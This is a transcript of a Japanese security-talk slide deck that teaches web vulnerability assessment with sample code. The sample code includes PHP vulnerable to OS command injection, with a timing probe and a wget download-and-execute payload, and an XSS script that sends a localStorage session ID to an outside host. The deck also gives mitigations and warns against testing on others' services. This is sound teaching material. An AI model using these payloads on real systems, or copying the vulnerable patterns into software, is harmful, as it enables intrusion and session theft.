ソースで学ぶ脆弱性診断 - smarttechgeeks #2
TRANSCRIPT
ソースで学ぶ脆弱性診断
SmartTechGeeks #2 桃原 裕太
名前 桃原 裕太 / とうばる ゆうた
所属 株式会社 シーエー・アドバンス 技術統括本部
経歴 前職 ・ECサイト等の開発株式会社 シーエー・アドバンス ・社内ツールの開発 ・脆弱性診断の業務に携わって約4年
業務 Webアプリケーション脆弱性診断 ・PCブラウザ向けアプリ ・SPブラウザ向けアプリ ・Androidアプリ ・iOSアプリ
自己紹介
脆弱性診断とは
Webサイトに脆弱性がないか、擬似攻撃を行って調査しています。
サービスを健全な状態に保つことで外部からの攻撃を防ぎます。
注意
本資料で紹介した内容について
他者が管理しているサービスでは
試さないようにお願いします。
今回のテーマ
サンプルソースをもとに、
脆弱性について一緒に考えていきたいと思います。
❏ どのような脆弱性か?
❏ どのような影響があるのか?
❏ どのように対策したらいいの?
脆弱性の例
クロスサイトスクリプティング
SQLインジェクション
OSコマンドインジェクション
アクセス権 等
最近だと…
WordPress の脆弱性がありましたね
【参考URL】https://www.ipa.go.jp/security/ciadr/vul/20170206-wordpress.html
対 象 WordPress 4.7.0 から WordPress 4.7.1
影 響REST API の脆弱性を悪用することで
コンテンツが改ざんされる
対 策 WordPress 4.7.2 へアップデートする
問題!
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
OSコマンドインジェクション
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header(“Location: http://hoge.com/login"); exit();
$yyyymm = $_POST[“yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
①バッチを動かすphp /batch/order_summary.php 201701;
②sleepコマンドで10秒停止sleep 10;
OSコマンドインジェクション
なぜsleepコマンド?
❏ yyyymm=201701 の場合
※レスポンスが返ってくるまでに1秒かかる
❏ yyyymm=201701;sleep 10; の場合
※レスポンスが返ってくるまでに11秒かかる
OSコマンドインジェクション
外部の人でも
sleepコマンドを投げることで
脆弱性があるか判別できます
※試す場合は、許可を得たサイトだけにしてください。他者のサービスで試すと不正アクセスで
訴えられる恐れがあります
OSコマンドインジェクション
影響
❏ 不正なファイルのDLと実行
❏ ;wget http://example.com/evil.txt -O evil.php;php evil.php;
❏ ツールの取得(yum, apt-get)
❏ ファイル削除 (rm)
❏ OSシャットダウン(shutdown)
❏ その他いろいろ
OSコマンドインジェクション
対策 ※一例ですが…
❏ OSコマンドに渡すパラメータを
安全な関数によりエスケープする。
(すべて数字で構成されているか)
❏ 外部から入力された文字列を
コマンドラインのパラメータに渡さない
(画面ではなく、バックエンドでの定期実行に変える)
次の問題!
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/login.php
<!-- javascript -->
// ログイン処理
fetch('/login_fetch.php', {
method: 'POST',
body: new FormData(document.getElementById('form1')),
})
// レスポンス取得
.then(response => response.json())
// WebストレージにセッションIDを格納
.then(json =>
localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/login.php
<!-- javascript -->
// ログイン処理
fetch('/login_fetch.php', {
method: 'POST',
body: new FormData(document.getElementById('form1')),
})
// レスポンス取得
.then(response => response.json())
// WebストレージにセッションIDを格納
.then(json =>
localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
WebStorageにセッションIDを保存している
WebStorageへの機密情報の保存
セッションIDを盗まれてしまう可能性があります
セッションIDが盗まれる例 ※サイト内にXSSがある場合になります…
1. XSSを利用して、下記scriptを埋め込みます。
2. 結果、罠サイトへアクセスする際にセッションIDが漏洩します。
<!-- javascript -->
ses_id = localStorage.getItem('session_id');
img = $('<img src="http://fuga.com/1.png?session_id='+ses_id+'">');
$('body').append(img); // bodyの一番下にimgタグ追加
WebStorageへの機密情報の保存
セッション情報が送信されたサイトのアクセスログ
192.168.99.1 - - [08/Feb/2017:06:06:04 +0000] "GET/1.png?session_id=s1234
HTTP/1.1" 404 497 "http://192.168.99.100/xss.php" "Mozilla/5.0 (Windows NT 6.1;
Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36"
GET/1.png?session_id=s1234 HTTP/1.1
アクセスログに残っている "s1234" を使うことで
対象サイトでなりすましできる
WebStorageへの機密情報の保存
影響
XSSと組み合わせることでデータの取得や設定が可能に・セッションIDの取得や上書き・個人情報の取得 等
対策(一例)
セッション情報はCookieで保持するようにします。HttponlyやSecure属性を設定し、適切に保護。
実際に脆弱性診断する
ときはどうしているか?
実際に脆弱性診断するときはどうしているか
診断ツールを使って確認しています。
・自動診断(XSS, インジェクション攻撃 ... etc)
・手動診断(CSRF, アクセス権 ... etc)
ツールで検出しやすいものは自動診断
それ以外項目は手動診断しています。
脆弱性診断で使うツール
診断効率をあげるためのツールのご紹介
❏ Burp Suite ※弊社でも使ってます
❏ OWASP ZAP
❏ Fiddler
※試す場合は、許可を得たサイトだけにしてください。 他者のサービスで試すと不正アクセスで訴えられる恐れがあります。
もし脆弱性診断に興味が出てきたら(その1)
IPAでセキュリティ理解を深めるための資料を公開しています。(無料)
安全なウェブサイトの作り方
https://www.ipa.go.jp/security/vuln/websecurity.html
脆弱性体験学習ツール AppGoat
https://www.ipa.go.jp/security/vuln/appgoat/
もし脆弱性診断に興味が出てきたら(その2)
http://qiita.com/organizations/ca-adv にもあるので解いてみてください
おわりに
まとめ、と補足
❏ Webアプリケーション脆弱性診断について
少しでも理解してもらえると幸いです。
❏ OSコマンドインジェクションは危ない!
❏ ふつうに開発してるだけだと脆弱性は入ってしまうので、ぜひ
対策をご検討ください。
❏ セキュリティの専門家に依頼する
❏ 社内でセキュリティ意識を高める ... etc
ご清聴ありがとうございました